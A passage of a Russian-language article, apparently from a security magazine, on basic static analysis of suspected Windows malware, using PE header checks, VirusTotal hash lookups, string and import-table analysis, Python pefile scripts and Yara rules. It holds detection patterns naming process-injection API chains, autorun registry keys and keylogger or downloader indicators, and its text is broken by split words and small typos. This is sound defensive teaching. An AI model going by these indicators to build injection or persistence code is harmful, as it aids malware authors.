HEX‐редак тор Hiew
Есл и не хочет ся тра тить деньг и, то мож но обрат ить вни мание, напр имер,
на Hex Editor Neo (есть бесп лат ный вариа нт) или на HxD Hex Editor.
Детекторы упаковщиков
Есл и есть подоз рение, что файл упа кован, то с помощью детек тора упа ков‐
щиков мож но попытатьс я опред елить, какой упак ов щик при этом исполь‐
зовал ся, и попр обовать рас паковать исслед уемый файл. Дол гое врем я
безус ловным лидером здесь была прог рамма PEiD, и в прин ципе мож но
поль зовать ся и ей, одна ко под дер жка давн о прек ращена и новых сигн атур
для опред елен ия типов упа ковщ ика уже никт о не выпуск ает. Альт ерн атива —
Exeinfo PE.
Exeinfo PE
Эта прог рамма, помимо детек та упа ков щиков, име ет еще мно го дру гих фун‐
кций для ана лиза исполняе мых файл ов Windows, и во мног их случ аях мож но
обойт ись ей одной.
Специализированные утилиты для исследования исполняемых
файлов Windows
Прог рамма CFF Explorer из пакета Explorer Suite — это нас тоящий швей цар‐
ский нож для исслед ова теля PE‐фай лов. Позв оляе т получить огромное
количест во разн ообр азной информа ции обо всех комп онен тах струк туры PE‐
фай ла и, помимо про чего, может служ ить HEX‐редак тором.
CFF Explorer
Так что наст оятель но рекоменд ую CFF Explorer, тем более что прогр амма
бесп лат ная.
Python-модуль pefile
Python‐модуль pefile поз волит обой тись при анал изе PE‐файл ов исклю‐
читель но интер прет ато ром Python. С ним прак тическ и все опе рации
по базово му стат ичес кому ана лизу мож но реали зовать путем написан ия
небольш их скрипт ов. Пре лесть всег о это го в том, что заниматьс я исслед ова‐
нием PE‐файл ов можн о в Linux.
Мо дуль при сутст ву ет в PyPi, и устан овить его мож но через pip:
pip install pefile
Yara
Ну и в завер шение все го списк а весь ма популярн ый и вост ре бованн ый инс‐
тру мент, ставш ий сво еобр азным станд артом в сред е антив ирусн ой индус‐
трии, — про ект Yara. Раз работ чики позицио нир уют его как инст рум ент,
который помога ет иссле дова телям мал вари иден тифицир овать и клас‐
сифицир овать вре донос ные сэмп лы. Исслед ова тель может созд ать опи сания
для разн ого типа мал вари в виде так называе мых пра вил, исполь зуя текс то‐
вые или бинар ные пат терны.
WWW
•Ак туальн ая вер сия Yara
•Ан глоя зычн ая справ ка по написан ию пра вил
•Пе ревод справ ки на русс кий (обра ти вни‐
мание — он слег ка уста рел)
МЕРЫ ПРЕДОСТОРОЖНОСТИ
Что бы обе зопас ить сист ему при пров еден ии базовог о стат ичес кого анал иза
подозр ительн ых файл ов, необх одимо:
• ус тановить зап рет на опер ацию чте ния и выпол нения ана лизир уемо го
файл а (вкладк а «Безопасн ость» в конт екст ном меню «Свойс тва»);
• смен ить разр ешение фай ла с .exe на какое‐нибудь друг ое (или вообщ е
убрать расш ирение ана лизи руемог о файл а);
• не пытатьс я открыть файл тек сто выми про цесс орами и бра узер ами.
Мож но обой тись эти ми мерами и не использ овать вирт уальн ую сред у, хотя
для пол ной безопасн ости можешь уста новить, нап ример, Virtual Box и про‐
водить ана лиз в нем (тем более что при динами чес ком анал изе без вирт уал‐
ки, как пра вило, не обой тись).
ОПРЕДЕЛЕНИЕ ТИПА ФАЙЛА
Я думаю, тебе извест но, что призн ак PE‐фай ла в Windows — это не толь ко
рас ширение .exe, .dll, .drv или .sys. Внут ри него содер жатся и дру гие отли‐
читель ные чер ты. Пер вая из них — это сигн атура из байт вида MZ (или 0x4d,
0x5a в шест над цатеричн ом пред ставл ении) в самом начале фай ла. Втор ая —
сигн атура так же из двух байт PE и двух нулевых бай тов сле дом (или 0x50,
0x45, 0x00, 0x00 в шес тнад цатеричн ом предс тав лении).
Сме щение этой сиг натуры относ ительн о начала файл а записа но в так
называе мом DOS‐заголовк е в поле e_lfanew, которое находит ся по сме‐
щению 0x3c от начала файл а.
WWW
•Опи сание фор мата PE на сайт е Microsoft
•«Иссле дуем Portable Executable» (Codeby.net)
По больш ому счет у наличие этих двух сигн атур в файл е и под ходящее рас‐
ширение сви детельс твуе т о том, что перед нами имен но PE‐файл, одна ко
при желании можн о посм отреть еще зна чение поля Magic опци ональн ого
заголовк а (Optional Header). Это зна чение находит ся по сме щению 0x18 отно‐
сительн о начала сиг натуры PE. Знач ение это го поля опред еляе т разр ядность
исполняе мо го фай ла:
• знач ение 0x010b говорит о том, что файл 32‐раз рядный (пом ни, что
в памяти чис ла расп олагаю тся с обратной посл едова тельн остью бай тов,
снач ала младш ий байт и далее стар шие бай ты, то есть числ о 0x010b будет
предс тав лено пос ледова тель ностью 0x0b, 0x01);
• знач ение 0x020b говорит о том, что файл 64‐раз рядный.
Пос мотреть это все можн о нес кольк ими спос оба ми. Перв ый — с помощью
HEX‐редак тора.
Приз наки PE‐фай ла в HEX‐редак торе Hiew
Вто рой — использ уя CFF Explorer или Exeinfo PE. Они наг лядно показыв ают
знач ения ука зан ных сиг натур.
Трет ий спо соб — исполь зовать воз можнос ти Python, запуст ив такой
скрипт:
with open(<путь к файлу>, 'rb') as file:
# прочитаем первые 1000 байт файла (больше и не надо)
buffer = file.read(1000)
e_ifanew = int.from_bytes(buffer[0x3c:0x40], byteorder='little')
mz_signature = buffer[0x0:0x2]
pe_signature = buffer[e_ifanew:e_ifanew + 0x4]
magic = buffer[e_ifanew + 0x18:e_ifanew + 0x1a]
if mz_signature == b'MZ' and pe_signature == b'PE\x00\x00':
if magic == b'\x0b\x01':
print('Файл', sys.argv[1], 'является исполнимым PE32 файлом
Windows.')
elif magic == b'\x0b\x02':
print('Файл', sys.argv[1], 'является исполнимым PE64 файлом
Windows.')
else:
print('Файл', sys.argv[1],'не является PE файлом Windows.')
Или можешь исполь зовать вот такое пра вило для Yara:
import "pe" //импортируем Yara‐модуль pe
rule is_pe_file
{
strings:
$MZ_signature = "MZ"
condition:
($MZ_signature at 0) and (pe.is_32bit() or pe.is_64bit())
}
ПОИСК В VIRUSTOTAL ПО ХЕШУ
От пра вить на VirusTotal для про вер ки мож но не тольк о сам файл, но и его хеш
(md5, sha1 или sha256). В этом случ ае, если такой же файл уже ана лизи‐
ровал ся, VirusTotal покажет результ аты этог о ана лиза, при этом сам файл
на VirusTotal мы не зас ветим.
Дум аю, как узнать хеш файл а, ты прекр асно зна ешь. В крайн ем случ ае
мож но написать небольш ой скрипт на Python:
import hashlib
with open(<путь к файлу>, 'rb') as file:
buffer = file.read()
print('md5 =', hashlib.md5(buffer).hexdigest())
print('sha1 =', hashlib.sha1(buffer).hexdigest())
print('sha256 =', hashlib.sha256(buffer).hexdigest())
Рез уль тат под счет а хеша шлем на VirusTotal либо при меня ем мои рекомен‐
дации из статьи «То тальн ая про верк а. Использ уем API VirusTotal в сво их про‐
ектах» и авто мати зиру ем этот про цесс с помощью неболь шого скрипт а
на Python.
import sys
import requests
# будем использовать 2‐ю версию API VirusTotal
api_url = 'https://www.virustotal.com/vtapi/v2/file/report'
# не забудь про ключ доступа к функциям VirusTotal
params = dict(apikey=<ключ доступа к API VirusTotal>, resource=str(
sys.argv[1]))
response = requests.get(api_url, params=params)
if response.status_code == 200:
result = response.json()
if result['response_code'] == 1:
print('Обнаружено:', result['positives'], '/', result['total'])
print('Результаты сканирования:')
for key in result['scans']:
print('\t' + key, '==>', result['scans'][key]['result'])
elif result['response_code'] == ‐2:
print('Запрашиваемый объект находится в очереди на анализ.')
elif result['response_code'] == 0:
print('Запрашиваемый объект отсутствует в базе VirusTotal.')
else:
print('Ошибка ответа VirusTotal.')
else:
print('Ошибка ответа VirusTotal.')
Как видишь, скрипт получае т знач ение хеша, переданн ого в виде аргум ент а
коман дной стро ки, фор миру ет все нуж ные запр осы для VirusTotal и выводит
результ аты анал иза.
Ес ли VirusTotal выдал в ответ какие‐нибудь результ аты анал иза, это знач ит,
что исслед уемый файл уже кто‐то загр ужал для анал иза и его мож но заг‐
рузить туда повт орно и получить более актуа льн ые результ аты, на чем анал из
можн о и заверш ать. Но вот если VirusTotal не най дет фай ла в базах, тогд а есть
смысл идти даль ше.
→Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ
МАЛВАРЬ НА ПРОСВЕТ
УЧИМСЯ БЫСТРО ИСКАТЬ ПРИЗНАКИ
ВРЕДОНОСНОГО КОДА
ПОИСК И АНАЛИЗ СТРОК
Нек ото рые стро ки внутр и файл а могут явно сви детель ство вать о его зло‐
наме рен ности, а иногд а по ним даже понят но, что кон крет но он дела ет. Нап‐
ример, URL или IP‐адре са внут ри фай ла подс ка жут, что она взаи мо дей ствуе т
с какими‐то серв ерами (их, кстат и, тоже мож но про бить через VirusTotal
на вре донос ность).
Мо гут попадатьс я и стро ки с клю чами реест ра. Нап ример, вот такие пути
будут явно указ ывать на желание фай ла зак репить ся в сист еме надол го:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
Ско рее все го, вмест е с такими стро ками в сек ции импорта найд ут ся и зап‐
росы к функ ци ям API, которые манипу лирую т ключ ами реест ра.
Стро ки мож но нап рямую поис кать с помощью HEX‐редак тора, а можн о
исполь зовать конс ольн ую ути литу Strings из сост ава Sysinternals Suite,
которая выводит весь текст, что найд ет в файл е. Стро кой утил ита счит ает
любую пос ледова тель ность из трех и более симв олов ASCII или Unicode,
которая завер шает ся нулевым сим волом.
Кро ме URL, IP и клю чей реес тра стои т обра тить вним ание на след ующие
раз новид ности текс то вых данн ых.
• Стро ки с имен ами про цесс ов анти вирусн ых прогр амм и раз личных утил ит
исслед ова ния сис темы (напр имер, avp.exe для Кас перс ко го, ekrn.exe
для ESET, drweb32.exe для DrWeb или procexp.exe для Process Explorer
из сос тава Sysinternals Suite). Они могут сви детельс тво вать о том, что
прог рамма ищет эти про цесс ы и собирае тся их завер шить.
• Стро ки с име нами про цесс ов средств вирт уализ ации (нап ример, VBox
Tray.exe или VBoxService.exe для Virtual Box, prl_cc.exe или prl_
tools.exe для Parallels, vmsrvc.exe или vmusrvc.exe для Virtual PC)
могут озна чать, что прог рамма пытае тся опред елить, что ее запуск ают
в вирт уальн ой машине.
• Стро ки с имен ами про цесс ов брау зе ров (iexplore.exe, firefox.exe,
chrome.exe и т. п.) — воз можно, призн ак внедр ения кода в эти бра узе ры.
Это может понадо битьс я для перехв ата тра фика или вво димой информа‐
ции. Как вариа нт, прогр амма может пытать ся загр узить расш ирение
или даже использ овать целевой эксп лои т для брау зер а.
• Стро ки с име нами сист емных про цес сов (explorer.exe, svchost.exe
и т. д.) могут быть призн аком попыток внед рения вред онос ного кода в эти
про цесс ы либо призн аком запус ка вре доносн ых про цесс ов под видом
сист емных. Иног да для поис ка и манипул яций с проц есс ом explorer.
exe исполь зуют имя его окна — progman. Сто ит поиск ать и его.
• Стро ки подоз ритель ного содер жания. Напр имер, что‐нибудь типа key
logger.txt или Portscanner startip.
Для Yara можн о написать уни вер саль ные пра вила, которые помогут искать
стро ки, при менив регуляр ные выражен ия. Напр имер, для поиск а URL или IP
в фай ле можн о написать так:
rule URL
{
strings:
$url = /(https?:\/\/)?([\w\.]+)\.([a‐z]{2,6}\.?)(\/[\w\.]*)*\/?/
wide ascii
condition:
$url
}
rule IP
{
strings:
$ip = /([0‐9]{1,3}\.){3}[0‐9]{1,3}/ wide ascii
condition:
$ip
}
Соз датели некото рых вре доно сов спец иаль но шиф руют стро ки, но серь‐
езные алго рит мы шиф рования в таких слу чаях — это редк ость. Так что шиф‐
ровки мож но поис кать конс оль ной ути литой Floss (FireEye Labs Obfuscated
String Solver). Как и Strings, она ищет строк и в фай ле, но иногд а позв оля ет
най ти обфусцир ованн ые или зашиф рованн ые вариа нты.
WWW
•Подр обнее об использ овании Floss в бло ге
FireEye
Час то вирусо писа тели не замора чиваю тся и шиф руют стро ки при помощи
XOR. Такие стро ки легк о най ти при помощи пра вила для Yara.
rule xor_string
{
strings:
$string = "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
xor
condition:
$string
}
Так ое пра вило будет искать в фай ле стро ку с ключ ом реест ра, пок соренн ую
про изводным байт ом. К сожале нию, с регуляр ными выражен иями модифи‐
катор xor при менить нель зя.
INFO
Еще одна удоб ная прог рамма для поиск а строк —
это pestudio. Она отмеч ает все подозр итель ные
стро ки, на которые сто ит обрат ить вним ание.
АНАЛИЗ ИНФОРМАЦИИ PE-ЗАГОЛОВКА
При ком пиляции PE‐фай ла в него вклю чает ся заголо вок (PE‐header), который
опис ывае т структ уру фай ла. При выпол нении файл а загр узчик ОС читае т
информа цию из это го заголов ка, а затем копиру ет содер жимое файл а
в память и передае т ему исполне ние.
Заг оло вок PE содерж ит в себе мно го информа ции, нап ример по какому
адре су PE‐файл дол жен быть заг ружен в память, адрес запус ка (он же — точ‐
ка вхо да), списк и библ иотек, фун кций и ресур сов, которые файл будет
исполь зовать. Так что изу чение заголов ка дает при исслед ован ии очень мно‐
гое.
Анализ таблицы импорта
Боль шинс тво прогр амм, в том числ е вре донос ных, использ уют API‐фун кции,
которые пред ост авля ет опе рацио нная сист ема. Их код содер жится в раз ных
DLL, отку да их и импортир ует исполня емый файл. Собст вен но, перечень этих
фун кций, содерж ащий ся в заголовк е, — это один из самых полезн ых фраг‐
ментов информа ции при иссле дова нии. Сто ит на него взгля нуть, и уже при‐
мерн о понимае шь, что делае т прогр амма.
Все это мож но посм отреть в так называе мой табл ице импорта. Нап ример,
при помощи CFF Explorer.
Табл ица импорта в CFF Explorer
Или мож но использ овать Hiew.
Таб лица импорта в Hiew
Как вариа нт, здесь во всей кра се может показать себя Python‐модуль pefile.
Для вывода сек ции импорта мож но исполь зовать такой скрипт:
import pefile
# не забудь указать реальный путь к исследуемому файлу
pe = pefile.PE(<путь к файлу>)
if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
for dll_entry in pe.DIRECTORY_ENTRY_IMPORT:
print(dll_entry.dll.decode('utf‐8'))
for api_entry in dll_entry.imports:
print('\t' + api_entry.name.decode('utf‐8'))
else:
print('Файл не содержит секцию импорта.')
Выв од табл ицы импорта с помощью скрип та на Python
Вот наибо лее популярн ые DLL, которые встре чают ся в любых прогр аммах:
• kernel32.dll — содер жит базовые функ ции: дос туп и управлен ие
памятью, работа с фай лами и устройс тва ми;
• advapi32.dll — обес печива ет дост уп к клю чевым ком понен там Windows
(дисп етчер служб, реестр), а такж е содер жит API‐фун кции крип тогра‐
фическ ой под систем ы Windows;
• user32.dll — содер жит комп онент ы граф ическ ого интерфей са;
• gdi32.dll — содер жит фун кции гра фичес ких опер аций;
• winnet.dll — содер жит высоко уровн евые сетевые API‐функ ции, реали‐
зующие такие про токо лы, как FTP, HTTP и NTP.
На что сто ит обра тить вни мание при исслед ован ии таб лицы импорта?
В перв ую оче редь — на наличие библ иотек ntdll.dll, wsock32.dll
и ws2_32.dll. Эти биб лиоте ки редк о встре чают ся в обыч ных прогр аммах, пос‐
коль ку содер жат в себе низк оуровн евые API‐фун кции.
• ntdll.dll содерж ит фун кции дос тупа к ком понент ам сист емы. Если встре‐
тишь импорт API из это го DLL, это может озна чать, что прог рамма пыта‐
ется перех ватить сист емные фун кции, реализ ует разн ые антио тлад очн ые
при емы, манипу лируе т про цесс ами, про тивод ейс твуе т анти виру сам и т. п.
• wsock32.dll и ws2_32.dll содерж ат низк оуровн евые API‐функ ции
для работы с сокетам и. Они обычн о исполь зуют ся в узкоспец иализ иро‐
ван ном ПО — и если встрет ят ся при ана лизе обыч ной прогр аммы,
это дол жно нас торожить.
На личие биб лиоте ки advapi32.dll и крип тограф ическ их API‐функ ций врод е
CryptGenKey, CryptEncrypt, CryptDecrypt и подобн ых сраз у вызывае т
подозр ение, что перед нами очер едн ой шиф ровальщ ик‐вымогат ель. Соз‐
датели таких прогр амм час то использ уют стан дар тные крип то‐API, а не при‐
думы вают собс твенн ые реализ ации.
На личие этой же биб лиоте ки вкуп е с вызовом функ ций работы с реест ром
(типа RegCreateKeyEx, RegEnumKeyEx, RegDeleteKeyExA и т. п.) говорит
о манипул яци ях с реест ром и возм ожной записи в автоз агр узку. Подт вержда‐
ет это наличие строк с соот ветст ву ющи ми клю чами реест ра.
Такж е сто ит обра тить вним ание на слишк ом малень кий импорт или его
отсутст вие. Это крайн е нетипич но для обычн ых прог рамм. Так же не сов сем
типич но при сутст вие в импорте связк и API‐функ ций LoadLibrary и GetPro‐
cAddress (либо LdrLoadDll и LdrGetProcAddress). Это однознач но говорит
о реали зации так называ емо го импорта врем ени выполн ения (в отлич ие
от динамич еск ого импорта, ког да все импортир уемые фун кции перечис лены
в сек ции импорта) и сви детель ству ет о попыт ке скрыть наст оящее наз‐
начение фай ла. Либо это может говорить о том, что файл упак ован.
INFO
Как пра вило при использ овании связ ки LoadLi‐
brary (или LoadLibraryEx) и GetProcAddress
(или LdrLoadDll + LdrGetProcAddress)
необх одимы имен а фун кций, которые будут
импортир овать ся во вре мя выполн ения прог‐
раммы, поэто му если нашел эти API в импорте,
есть смысл поиск ать строк и с име нами импорти‐
руемых во врем я выполн ения API‐фун кций.
При этом сто ит помн ить, что они могут быть
зашифр ованы или обфусцир ован ы.
След ующие API или их связ ки так же треб уют осо бого вним ания. Их наличие
в иссле дуемом фай ле — повод нас торожитьс я.
• Связ ка из VirtualAlloc и VirtualProtect или HeapAlloc и Virtu
alProtect может свид етель ство вать о расп аковк е рабочей наг рузки вре‐
доносн ого фай ла.
• API‐функ ции CreateProcess или ShellExecute могут сви детельс тво‐
вать о соз дании дочер них проц ес сов, напр имер чтоб ы отслеж ивать
наличие в сис теме основног о про цес са и вос ста нав ливать его в случ ае
оста нов ки (это один из расп ростра ненн ых и прос тейш их спос обов соз‐
дания так называе мо го «неуби ваемог о про цес са»).
• Связк а из OpenProcess, VirtualAlloc (или VirtualAllocEx),
WriteProcessMemory и CreateRemoteThread — весь ма крас норечи‐
вый приз нак попыт ки внед рения кода в какой‐либо про цесс (особ енн о
вкуп е с наличи ем в файл е стро ки с имен ем какого‐либо проц есс а).
• SetWindowsHookEx сви детель ству ет об устан овк е перехв атов друг их API‐
фун кций. Очень част о это дела ется вов се не во бла го ничего не подоз‐
реваю щег о польз овате ля.
• Фун кция RegisterHotKey — приз нак кей лог гера, она может исполь‐
зоватьс я для перех вата нажатий на клав иши;
• Связ ка из OpenSCManager, CreateService и StartService сви‐
детельс твуе т о соз дании сис темно го серв иса. Она тоже может исполь‐
зоватьс я во вред, в час тнос ти для созд ания «неуби ваемог о про цес са».
• Связ ка из URLDownloadToFile и ShellExecute — весь ма веро ятный
приз нак тро яна‐даун лоадер а;
• Функ ция TerminateProcess совм ес тно со стро ками имен про цес сов
анти вирусн ых прог рамм в одном фай ле практ ичес ки однознач но сви‐
детель ствуе т о желании исслед уемог о фай ла обе зопас ить себя, грохн ув
про цесс антив ирус а;
• Функ ции IsDebuggerPresent, CheckRemoteDebuggerPresent
или OutputDebugString могут говорить о при менен ии прост ейш их анти‐
отла доч ных при емов. В обычн ых прог раммах они встре чают ся редк о.
Прав ило для Yara, которое расп озна ет, к прим еру, связ ку из OpenProcess,
VirtualAlloc, WriteProcessMemory и CreateRomoteThread, может выг‐
лядеть так:
rule api_bandle
{
strings:
$str_api_1 = "OpenProcess"
$str_api_2 = "VirtualAllocEx"
$str_api_3 = "WriteProcessMemory"
$str_api_4 = "CreateRemoteThread"
condition:
$str_api_1 and $str_api_2 and $str_api_3 and $str_api_4
}
Или так (с использ овани ем Yara‐модуля pe):
import "pe" //импортируем Yara‐модуль pe
rule api_bandle
{
condition:
pe.imports("kernel32.dll", "OpenProcess") and pe.imports(
"kernel32.dll", "VirtualAllocEx") and pe.imports("kernel32.dll",
"WriteProcessMemory") and pe.imports("kernel32.dll",
"CreateRemoteThread")
}
А вот пра вило для Yara для расп озна вания связ ки из LoadLibrary (или Load‐
LibraryEx) и GetProcAddress и строк с импорти руемой во врем я выпол‐
нения связ кой OpenProcess, VirtualAllocEx, WriteProcessMemory и Cre‐
ateRemoteThread, которые могут быть зак рыты побайт овым XOR:
import "pe" //импортируем Yara‐модуль pe
rule api_bandle
{
strings:
$str_api_1 = "OpenProcess" xor
$str_api_2 = "VirtualAllocEx" xor
$str_api_3 = "WriteProcessMemory" xor
$str_api_4 = "CreateRemoteThread" xor
condition:
$str_api_1 and $str_api_2 and $str_api_3 and $str_api_4 and (pe.
imports("kernel32.dll", "LoadLibrary") or pe.imports("kernel32.dll",
"LoadLibraryEx")) and pe.imports("kernel32.dll", "GetProcAddress")
}
Для сравн ения сек ций импорта раз ных фай лов мож но исполь зовать хеш
импорта, так называе мый imphash. Это хеш md5 от сек ции импорта пос ле
некото рой нор мализац ии. Подр обнее о нем можешь почитать в бло ге
FireEye.
В Yara imphash мож но опред елить с помощью фун кции imphash() модуля
pe:
import "pe"
rule imphash
{
condition:
pe.imphash() == "8a25c84dc57052979d26f561d4f12335"
}
На Python мож но написать вот так:
import pefile
# не забудь указать реальный путь к исследуемому файлу
pe = pefile.PE(<путь к файлу>)
print('Imphash =', pe.get_imphash())
Исп оль зуя зна чение imphash, вычисл енное для одно го файл а, с помощью
написанн ого выше пра вила Yara можн о искать файл ы с один аков ой таб лицей
импорта (и с больш ой вероя тностью с похожим пред назна чение м).
INFO
Утил ита pestudio тоже позв оля ет анал изи ровать
сек цию импорта, прич ем она не тольк о показы‐
вает импортир уемые API‐фун кции, но и отме чает
те, что част о встреч ают ся в малв ари, и показы‐
вает возм ожный век тор атак и по класс ификац ии
MITRE ATT&CK.
Анализ таблицы экспорта
Вре доносн ые файл ы с экспор тиру емы ми функ ция ми — ред кое явле ние,
одна ко иногд а на прос торах вирусн ых полей они встреч ают ся. Быва ют в том
числ е и вре донос ные DLL.
Таб лицу экспорт а, в которой перечис лены экспор тиру емые фун кции, мож‐
но так же, как и таб лицу импорта, пос мотреть в CFF Explorer или Hiew.
Таб лица экспор та в CFF Explorer
Здесь нужн о обра тить вним ание на говорящ ие сами за себя наз вания
экспорт ируе мых фун кций, либо на наз вания функ ций в виде бес порядочн ого
набора сим волов, либо на отсутст вие назв аний фун кций при наличии толь ко
ордин алов (номеров) функ ций (такое тоже может быть, ведь фун кции мож но
экспор тировать не толь ко по име ни, но и по ордин алу).
На Python можн о сдел ать след ующий скрипт для прос мотра табл ицы
экспор та:
import pefile
# не забудь указать реальный путь к исследуемому файлу
pe = pefile.PE(<путь к файлу>)
if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
for export_entry in pe.DIRECTORY_ENTRY_EXPORT.symbols:
print('\t' + export_entry.name.decode('utf‐8'))
print('\t\tОрдинал:', str(hex(export_entry.ordinal)))
print('\t\tRVA функции:', str(hex(export_entry.address)))
else:
print('Файл не содержит секцию экспорта.')
→Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ
МАЛВАРЬ НА ПРОСВЕТ
УЧИМСЯ БЫСТРО ИСКАТЬ ПРИЗНАКИ
ВРЕДОНОСНОГО КОДА
Анализ таблицы секций
Факт ичес ки все содерж имое PE‐файл а разб ито на секц ии. Каж дая сек ция
хран ит в себе либо код, который будет исполнен при запуск е файл а, либо
данн ые, необх одимые для выпол нения, либо ресурс ы, исполь зуемые файл ом.
У каж дой сек ции есть имя, одна ко опер аци онная сист ема опре деля ет наз‐
начение секц ии не по име ни, а по атри буту Characteristics, а име на
использ уют ся тольк о для нагл ядност и.
По мимо назн ачения сек ции атриб ут Characteristics опред еля ет опер ации,
которые мож но про водить с дан ными секц ии (чтен ие, выполн ение, запись и т.
д.). Более подр обно о секц ии в целом и об этом атриб уте можн о почитать в
офи циаль ной документ ации. Наибо лее час то исполь зуемые наз вания сек ций:
• .text или CODE — как пра вило, содерж ит исполня емый код (наз вание
сек ции CODE харак терно для прогр амм, написан ных на Delphi), в боль‐
шинст ве случ аев име ет зна чение атри бута Characteristics, рав ное
0x60000020 (IMAGE_SCN_CNT_CODE & IMAGE_SCN_MEM_EXECUTE &
IMAGE_SCN_MEM_READ);
• .data или DATA — обычн о здесь лежат дан ные для чтен ия или записи
(назв ание сек ции DATA такж е харак терно для прогр амм, написанн ых
на Delphi), Characteristics чаще все го равен 0xс0000040 (IMAGE_SCN_C
NT_INITIALIZED_DATA & IMAGE_SCN_MEM_READ & IMAGE_SC
N_MEM_WRITE);
• .rdata — дан ные толь ко для чте ния, иног да здесь лежат таб лицы
импорта и экспор та, Characteristics равен 0x40000040 (IMAGE_SCN_CN
T_INITIALIZED_DATA & IMAGE_SCN_MEM_READ) или 0x50000040 (IM
AGE_SCN_CNT_INITIALIZED_DATA & IMAGE_SCN_MEM_READ & IM
AGE_SCN_MEM_SHARED);
• .idata — информа ция об импорте (если сек ция отсутст ву ет, то импорт
содерж ится в сек ции .rdata), Characteristics чаще всег о равен
0xс0000040 (такое же, как и у сек ции .data);
• .edata — информа ция об экспор те (если секц ия отсутс тву ет, то экспорт
содерж ится в секц ии .rdata), Characteristics обычн о равен 0xс0000040
(такое же, как и у секц ии .data);
• .rsrc — ресур сы, исполь зуемые PE‐файл ом (икон ки, диало говые окна,
меню, стро ки и т. д.), Characteristics равен 0x50000040 либо
0x40000040.
Так же могут встре чатьс я секц ии .tls, .reloc, .pdata, .bss (или BSS), .
debug, .CRT, .didat. Наличие сек ции BSS вмест е с сек циями CODE и DATA
означ ает, что автор прогр аммы использ овал комп илятор Delphi, а если есть
сек ции .bss и .CRT, это может означ ать, что прогр амму комп илиров али
в MinGW.
Уви деть это все лег ко мож но с помощью, напр имер, CFF Explorer.
Таб лица сек ций в CFF Explorer
На что нужн о обра тить вним ание при ана лизе таб лицы секц ий?
Во‐пер вых, на необыч ные назв ания сек ций. Нап ример, в виде бес‐
порядочн ого набора сим волов.
Во‐вто рых, на несо ответст вие атри бута Characteristics назн ачению
и содер жимому сек ции. Напр имер, может быть так, что у секц ии .text,
в которой содерж ится исполняе мый код, помимо проч его еще добав лено
IMAGE_SCN_MEM_WRITE, то есть в секц ию с кодом можн о писать дан ные.
Это явный призн ак самомо дифи цирую ще гося кода, и в обычн ых прогр аммах
такое почт и не встре чает ся. То же мож но сказ ать и про сек цию с дан ными (.
data или DATA): если в атри буте Characteristics помимо проч его прис утс тву ет
IMAGE_SCN_MEM_EXECUTE, то это очень серь езный повод для подоз рения.
В‐третьи х, наличие секц ий вро де UPX0, UPX1 или .aspack красн оречи во
свид етельс твуе т о при менен ии соот ветст вую щих упа ков щиков.
Секц ии UPX0 и UPX1 в запако ван ном фай ле
Такж е о при мене нии упа ков щиков может сви детельс твов ать высокое зна‐
чение (близк ое к 8) энт ро пии какой‐либо сек ции. Пос читать энтро пию секц ий
PE‐файл а мож но с помощью вот такого скрип та на Python:
import pefile
# не забудь указать реальный путь к исследуемому файлу
pe = pefile.PE(<путь к файлу>)
for section_entry in pe.sections:
print(section_entry.Name.decode('utf‐8'))
print('\tCharacteristics:', hex(section_entry.Characteristics))
print('\tMD5 хэш секции:', section_entry.get_hash_md5())
print('\tЭнтропия секции:', section_entry.get_entropy())
Скрипт выводит имен а всех секц ий PE‐файл а, знач ение атри бута Characteris‐
tics, md5‐хеш и энтро пию кажд ой секц ии.
Знач ение энтро пии одной из сек ций свид етель ствуе т о воз можном
наличии упак ов ки
В Yara энтро пию можн о опре делить с помощью фун кции entropy() модуля
math.
Временная метка компиляции
Инф ормац ия о вре мени ком пиляции ана лизи руемог о фай ла может быть
полез на при пос тро ении граф а атак и и его анал изе. Вре мя соз дания (и, соот‐
ветс твенн о, ком пиляции PE‐фай ла) хра нит ся в PE‐заголов ке в виде четырех‐
бай тового числ а, содерж ащего количест во секунд, прош едш их
с 0 часов 0 минут 1 январ я 1970 года.
Врем я ком пиляции фай ла в CFF Explorer
В удо бова римом виде зна чение этог о вре мени мож но посм отреть
с помощью такого скрипт а:
import pefile
# не забудь указать реальный путь к исследуемому файлу
pe = pefile.PE(<путь к файлу>)
print('Дата и время компиляции:', time.strftime('%Y‐%m‐%d %H:%M:%S',
time.gmtime(pe.FILE_HEADER.TimeDateStamp)))
Для Delphi (а вред оносн ые файл ы, написан ные на Delphi, встре чают ся и по
сей день) это зна чение всегд а рав но 0x2a425e19, что зна‐
чит 0 часов 0 минут 19 июня 1992 года. В этом слу чае реальн ую дату ком‐
пиляции мож но попытать ся опред елить из отметки врем ени сек ции .rsrc (в
фай лах, соз дава емых Delphi, она всег да при сутст вуе т). Врем ен ная мет ка
находит ся по сме щению 4 от начала секц ии .rsrc и пред став ляет собой
четырех байт овое числ о в форм ате MS‐DOS time.
Пос мотреть это знач ение в прис тойн ом виде можн о сле дующим скрипт ом:
import pefile
# не забудь указать реальный путь к исследуемому файлу
pe = pefile.PE(<путь к файлу>)
time_stamp_dos = pe.DIRECTORY_ENTRY_RESOURCE.struct.TimeDateStamp
# преобразуем время из MS DOS формата в «нормальный» вид
day = time_stamp_dos >> 16 & 0x1f
month = time_stamp_dos >> 21 & 0x7
year = (time_stamp_dos >> 25 & 0xff) + 1980
second = (time_stamp_dos & 0x1f) * 2
minute = time_stamp_dos >> 5 & 0x3f
hour = time_stamp_dos >> 11 & 0x1f
print('Дата и время компиляции: {}‐{}‐{} {:02d}:{:02d}:{:02d}'.format
(day, month, year, hour, minute, second))
Ес ли PE‐файл комп илиров ал ся Visual Studio и при комп иляции в файл была
вклю чена отла доч ная информа ция (а это мож но опре делить по наличию таб‐
лицы Debug Directory в PE‐фай ле), то дата ком пиляции (помимо заголовк а
PE‐фай ла) так же содерж ится и в этой таб лице:
Табл ица Debug Directory в PE‐фай ле и отметка о врем ени комп иляции
Посм отреть вре мен ную мет ку ком пиляции из Debug Directory в «нор мальн ом»
виде можн о след ующим скрип том:
import pefile
# не забудь указать реальный путь к исследуемому файлу
pe = pefile.PE(<путь к файлу>)
time_stamp = pe.DIRECTORY_ENTRY_DEBUG[0].struct.TimeDateStamp
print('Дата и время компиляции:', time.strftime('%d‐%m‐%Y %H:%M:%S',
